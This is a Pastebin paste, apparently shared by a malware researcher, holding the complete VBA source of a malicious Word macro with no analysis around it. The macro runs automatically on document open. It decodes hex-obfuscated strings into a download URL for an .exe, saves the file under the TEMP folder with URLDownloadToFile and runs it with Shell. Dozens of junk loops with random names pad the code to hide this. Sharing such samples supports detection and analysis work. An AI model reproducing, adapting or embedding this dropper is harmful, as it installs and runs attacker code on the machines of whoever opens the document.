SHARE
TWEET

Malicious Word macro

dynamoo Jan 15th, 2015 250 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal dsfsdf As LongPtr, _
  12.     ByVal sdfsdfgds As String, _
  13.     ByVal yurtysdf As String, _
  14.     ByVal iufdsd As Long, _
  15.     ByVal vbxdfsdf As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal dsfsdf As Long, _
  19.     ByVal sdfsdfgds As String, _
  20.     ByVal yurtysdf As String, _
  21.     ByVal iufdsd As Long, _
  22.     ByVal vbxdfsdf As Long) As Long
  23. #End If
  24.  
  25.  
  26. Sub uiwefds()
  27. Dim JzOjvKld As Integer
  28. For JzOjvKld = 0 To 1
  29. Dim pBBdhbMj As Integer
  30. For pBBdhbMj = 0 To 9
  31. Dim MQeaXHnQ As Integer
  32. For MQeaXHnQ = 0 To 7
  33. DoEvents
  34. Next MQeaXHnQ
  35. DoEvents
  36. Next pBBdhbMj
  37. Dim PLCvpaGo As Integer
  38. For PLCvpaGo = 0 To 5
  39. DoEvents
  40. Next PLCvpaGo
  41. DoEvents
  42. Next JzOjvKld
  43. Dim ByLPRPoF As Integer
  44. For ByLPRPoF = 0 To 8
  45. Dim KzYSAJew As Integer
  46. For KzYSAJew = 0 To 6
  47. DoEvents
  48. Next KzYSAJew
  49. DoEvents
  50. Next ByLPRPoF
  51. Dim UonpGakM As Integer
  52. For UonpGakM = 0 To 5
  53. DoEvents
  54. Next UonpGakM
  55. UGivgHgfdg
  56. End Sub
  57. Sub AutoOpen()
  58. Dim HipjVMDI As Integer
  59. For HipjVMDI = 0 To 6
  60. Dim FldilXKU As Integer
  61. For FldilXKU = 0 To 3
  62. Dim neEzgwIm As Integer
  63. For neEzgwIm = 0 To 7
  64. DoEvents
  65. Next neEzgwIm
  66. DoEvents
  67. Next FldilXKU
  68. Dim jpxnEYVL As Integer
  69. For jpxnEYVL = 0 To 5
  70. DoEvents
  71. Next jpxnEYVL
  72. DoEvents
  73. Next HipjVMDI
  74. Dim KNMUJHlQ As Integer
  75. For KNMUJHlQ = 0 To 3
  76. Dim IiYHosKX As Integer
  77. For IiYHosKX = 0 To 1
  78. DoEvents
  79. Next IiYHosKX
  80. DoEvents
  81. Next KNMUJHlQ
  82. Dim qMjVLPPI As Integer
  83. For qMjVLPPI = 0 To 6
  84. DoEvents
  85. Next qMjVLPPI
  86.     uiwefds
  87. End Sub
  88. Sub Workbook_Open()
  89. Dim zFxkURlO As Integer
  90. For zFxkURlO = 0 To 3
  91. Dim WUxmpDbh As Integer
  92. For WUxmpDbh = 0 To 7
  93. Dim NiIUHMrP As Integer
  94. For NiIUHMrP = 0 To 8
  95. DoEvents
  96. Next NiIUHMrP
  97. DoEvents
  98. Next WUxmpDbh
  99. Dim AVCbuhOj As Integer
  100. For AVCbuhOj = 0 To 4
  101. DoEvents
  102. Next AVCbuhOj
  103. DoEvents
  104. Next zFxkURlO
  105. Dim cliZMskz As Integer
  106. For cliZMskz = 0 To 3
  107. Dim TnVmmvfd As Integer
  108. For TnVmmvfd = 0 To 4
  109. DoEvents
  110. Next TnVmmvfd
  111. DoEvents
  112. Next cliZMskz
  113. Dim LJnsAqIf As Integer
  114. For LJnsAqIf = 0 To 7
  115. DoEvents
  116. Next LJnsAqIf
  117.     uiwefds
  118. End Sub
  119. Sub UGivgHgfdg()
  120. Dim aMXkuYDt As Integer
  121. For aMXkuYDt = 0 To 6
  122. Dim VhVjCVvI As Integer
  123. For VhVjCVvI = 0 To 4
  124. Dim ylrNCMWQ As Integer
  125. For ylrNCMWQ = 0 To 3
  126. DoEvents
  127. Next ylrNCMWQ
  128. DoEvents
  129. Next VhVjCVvI
  130. Dim lHpAOReT As Integer
  131. For lHpAOReT = 0 To 6
  132. DoEvents
  133. Next lHpAOReT
  134. DoEvents
  135. Next aMXkuYDt
  136. Dim DZwbJyAN As Integer
  137. For DZwbJyAN = 0 To 2
  138. Dim WEDuKupQ As Integer
  139. For WEDuKupQ = 0 To 1
  140. DoEvents
  141. Next WEDuKupQ
  142. DoEvents
  143. Next DZwbJyAN
  144. Dim pMhVBLRS As Integer
  145. For pMhVBLRS = 0 To 6
  146.  
  147. Next pMhVBLRS
  148. ghKJfg = gHBJdsg("6874")
  149. jnkdsf = gHBJdsg("74703A2F2F")
  150. hdsjkf = gHBJdsg("63617373696F70652E637A2F6A732F62696E2E657865")
  151.  
  152.     ewrwefdsf = ghKJfg + jnkdsf + hdsjkf
  153.  
  154. Dim IzqfqBCT As Integer
  155. For IzqfqBCT = 0 To 2
  156. Dim qJRLoONV As Integer
  157. For qJRLoONV = 0 To 7
  158. Dim tbUUVMUg As Integer
  159. For tbUUVMUg = 0 To 6
  160. DoEvents
  161. Next tbUUVMUg
  162. DoEvents
  163. Next qJRLoONV
  164. Dim tnRLuKkx As Integer
  165. For tnRLuKkx = 0 To 6
  166. DoEvents
  167. Next tnRLuKkx
  168. DoEvents
  169. Next IzqfqBCT
  170. Dim NrzarJeg As Integer
  171. For NrzarJeg = 0 To 5
  172. Dim yxXAyyyv As Integer
  173. For yxXAyyyv = 0 To 9
  174. DoEvents
  175. Next yxXAyyyv
  176. DoEvents
  177. Next NrzarJeg
  178. Dim JzPxPklW As Integer
  179. For JzPxPklW = 0 To 6
  180. DoEvents
  181. Next JzPxPklW
  182.     ewwfgfdg = Environ(gHBJdsg("54454D50")) & gHBJdsg("5C6473667364662E657865")
  183. Dim ETUbKtRJ As Integer
  184. For ETUbKtRJ = 0 To 4
  185. Dim IiOcPqqr As Integer
  186. For IiOcPqqr = 0 To 8
  187. Dim CwnoVirg As Integer
  188. For CwnoVirg = 0 To 4
  189. DoEvents
  190. Next CwnoVirg
  191. DoEvents
  192. Next IiOcPqqr
  193. Dim ONhNGOcj As Integer
  194. For ONhNGOcj = 0 To 2
  195. DoEvents
  196. Next ONhNGOcj
  197. DoEvents
  198. Next ETUbKtRJ
  199. Dim pBVhaYHP As Integer
  200. For pBVhaYHP = 0 To 4
  201. Dim wYauEKwW As Integer
  202. For wYauEKwW = 0 To 6
  203. DoEvents
  204. Next wYauEKwW
  205. DoEvents
  206. Next pBVhaYHP
  207. Dim LJYSRlqY As Integer
  208. For LJYSRlqY = 0 To 1
  209. DoEvents
  210. Next LJYSRlqY
  211.     wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
  212.    Dim gffUYUdfg
  213. Dim YgpqTtOy As Integer
  214. For YgpqTtOy = 0 To 2
  215. Dim QSZWppCH As Integer
  216. For QSZWppCH = 0 To 2
  217. Dim ZJYDvLqr As Integer
  218. For ZJYDvLqr = 0 To 9
  219. DoEvents
  220. Next ZJYDvLqr
  221. DoEvents
  222. Next QSZWppCH
  223. Dim NaskblaF As Integer
  224. For NaskblaF = 0 To 5
  225. DoEvents
  226. Next NaskblaF
  227. DoEvents
  228. Next YgpqTtOy
  229. Dim dEJDnTZw As Integer
  230. For dEJDnTZw = 0 To 7
  231. Dim sGQchASM As Integer
  232. For sGQchASM = 0 To 4
  233. DoEvents
  234. Next sGQchASM
  235. DoEvents
  236. Next dEJDnTZw
  237. Dim wRiSDhtL As Integer
  238. For wRiSDhtL = 0 To 6
  239. DoEvents
  240. Next wRiSDhtL
  241.     gffUYUdfg = Shell(ewwfgfdg, 1)
  242.  
  243. End Sub
  244. Public Function gHBJdsg(ByVal hextext As String) As String
  245.  
  246. Dim wWbztFwG As Integer
  247.  
  248. Dim GUPqhtPg As Integer
  249. GUPqhtPg = 5
  250. Do While GUPqhtPg < 48
  251. DoEvents: GUPqhtPg = GUPqhtPg + 1
  252. Loop
  253.  
  254. wWbztFwG = 2
  255. Do While wWbztFwG < 12
  256.  
  257. Dim uRXhQDWq As Integer
  258. uRXhQDWq = 8
  259. Do While uRXhQDWq < 78
  260. DoEvents: uRXhQDWq = uRXhQDWq + 1
  261. Loop
  262.  
  263. DoEvents: wWbztFwG = wWbztFwG + 1
  264.  
  265. Dim EVQinjcM As Integer
  266. EVQinjcM = 3
  267. Do While EVQinjcM < 84
  268. DoEvents: EVQinjcM = EVQinjcM + 1
  269. Loop
  270.  
  271. Loop
  272.  
  273.  
  274. Dim yPwhqFgT As Integer
  275. yPwhqFgT = 8
  276. Do While yPwhqFgT < 42
  277. DoEvents: yPwhqFgT = yPwhqFgT + 1
  278. Loop
  279.  
  280.    
  281. For y = 1 To Len(hextext)
  282.  
  283. Dim DKQuAxYQ As Integer
  284.  
  285. Dim ApQiblsP As Integer
  286. ApQiblsP = 3
  287. Do While ApQiblsP < 76
  288. DoEvents: ApQiblsP = ApQiblsP + 1
  289. Loop
  290.  
  291. DKQuAxYQ = 5
  292. Do While DKQuAxYQ < 41
  293.  
  294. Dim rXwhqJex As Integer
  295. rXwhqJex = 8
  296. Do While rXwhqJex < 34
  297. DoEvents: rXwhqJex = rXwhqJex + 1
  298. Loop
  299.  
  300. DoEvents: DKQuAxYQ = DKQuAxYQ + 1
  301.  
  302. Dim GPlvEueK As Integer
  303. GPlvEueK = 3
  304. Do While GPlvEueK < 49
  305. DoEvents: GPlvEueK = GPlvEueK + 1
  306. Loop
  307.  
  308. Loop
  309.  
  310.  
  311. Dim jxtTfTWR As Integer
  312. jxtTfTWR = 7
  313. Do While jxtTfTWR < 96
  314. DoEvents: jxtTfTWR = jxtTfTWR + 1
  315. Loop
  316.  
  317.     num = Mid(hextext, y, 2)
  318.  
  319. Dim qsnBhNom As Integer
  320.  
  321. Dim RVFXklSQ As Integer
  322. RVFXklSQ = 3
  323. Do While RVFXklSQ < 59
  324. DoEvents: RVFXklSQ = RVFXklSQ + 1
  325. Loop
  326.  
  327. qsnBhNom = 9
  328. Do While qsnBhNom < 46
  329.  
  330. Dim mtIlYZzo As Integer
  331. mtIlYZzo = 1
  332. Do While mtIlYZzo < 65
  333. DoEvents: mtIlYZzo = mtIlYZzo + 1
  334. Loop
  335.  
  336. DoEvents: qsnBhNom = qsnBhNom + 1
  337.  
  338. Dim DKDBypFV As Integer
  339. DKDBypFV = 5
  340. Do While DKDBypFV < 41
  341. DoEvents: DKDBypFV = DKDBypFV + 1
  342. Loop
  343.  
  344. Loop
  345.  
  346.  
  347. Dim EBUcmmrw As Integer
  348. EBUcmmrw = 3
  349. Do While EBUcmmrw < 22
  350. DoEvents: EBUcmmrw = EBUcmmrw + 1
  351. Loop
  352.  
  353.     Value = Value & Chr(CDbl("&h" & num))
  354.  
  355. Dim lqyAAJfk As Integer
  356.  
  357. Dim HnhDciWZ As Integer
  358. HnhDciWZ = 5
  359. Do While HnhDciWZ < 19
  360. DoEvents: HnhDciWZ = HnhDciWZ + 1
  361. Loop
  362.  
  363. lqyAAJfk = 1
  364. Do While lqyAAJfk < 94
  365.  
  366. Dim JwOgaoKJ As Integer
  367. JwOgaoKJ = 5
  368. Do While JwOgaoKJ < 18
  369. DoEvents: JwOgaoKJ = JwOgaoKJ + 1
  370. Loop
  371.  
  372. DoEvents: lqyAAJfk = lqyAAJfk + 1
  373.  
  374. Dim AqUclcKd As Integer
  375. AqUclcKd = 9
  376. Do While AqUclcKd < 24
  377. DoEvents: AqUclcKd = AqUclcKd + 1
  378. Loop
  379.  
  380. Loop
  381.  
  382.  
  383. Dim kkAWIUuP As Integer
  384. kkAWIUuP = 8
  385. Do While kkAWIUuP < 96
  386. DoEvents: kkAWIUuP = kkAWIUuP + 1
  387. Loop
  388.  
  389.     y = y + 1
  390. Next y
  391.  
  392.  
  393. Dim ljYAaKUD As Integer
  394.  
  395. Dim HEaLjCxl As Integer
  396. HEaLjCxl = 5
  397. Do While HEaLjCxl < 19
  398. DoEvents: HEaLjCxl = HEaLjCxl + 1
  399. Loop
  400.  
  401. ljYAaKUD = 1
  402. Do While ljYAaKUD < 67
  403.  
  404. Dim YPWkTuQH As Integer
  405. YPWkTuQH = 3
  406. Do While YPWkTuQH < 82
  407. DoEvents: YPWkTuQH = YPWkTuQH + 1
  408. Loop
  409.  
  410. DoEvents: ljYAaKUD = ljYAaKUD + 1
  411.  
  412. Dim fLpdInWj As Integer
  413. fLpdInWj = 9
  414. Do While fLpdInWj < 81
  415. DoEvents: fLpdInWj = fLpdInWj + 1
  416. Loop
  417.  
  418. Loop
  419.  
  420.  
  421. Dim kwdanxIn As Integer
  422. kwdanxIn = 1
  423. Do While kwdanxIn < 96
  424. DoEvents: kwdanxIn = kwdanxIn + 1
  425. Loop
  426.  
  427. gHBJdsg = Value
  428. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top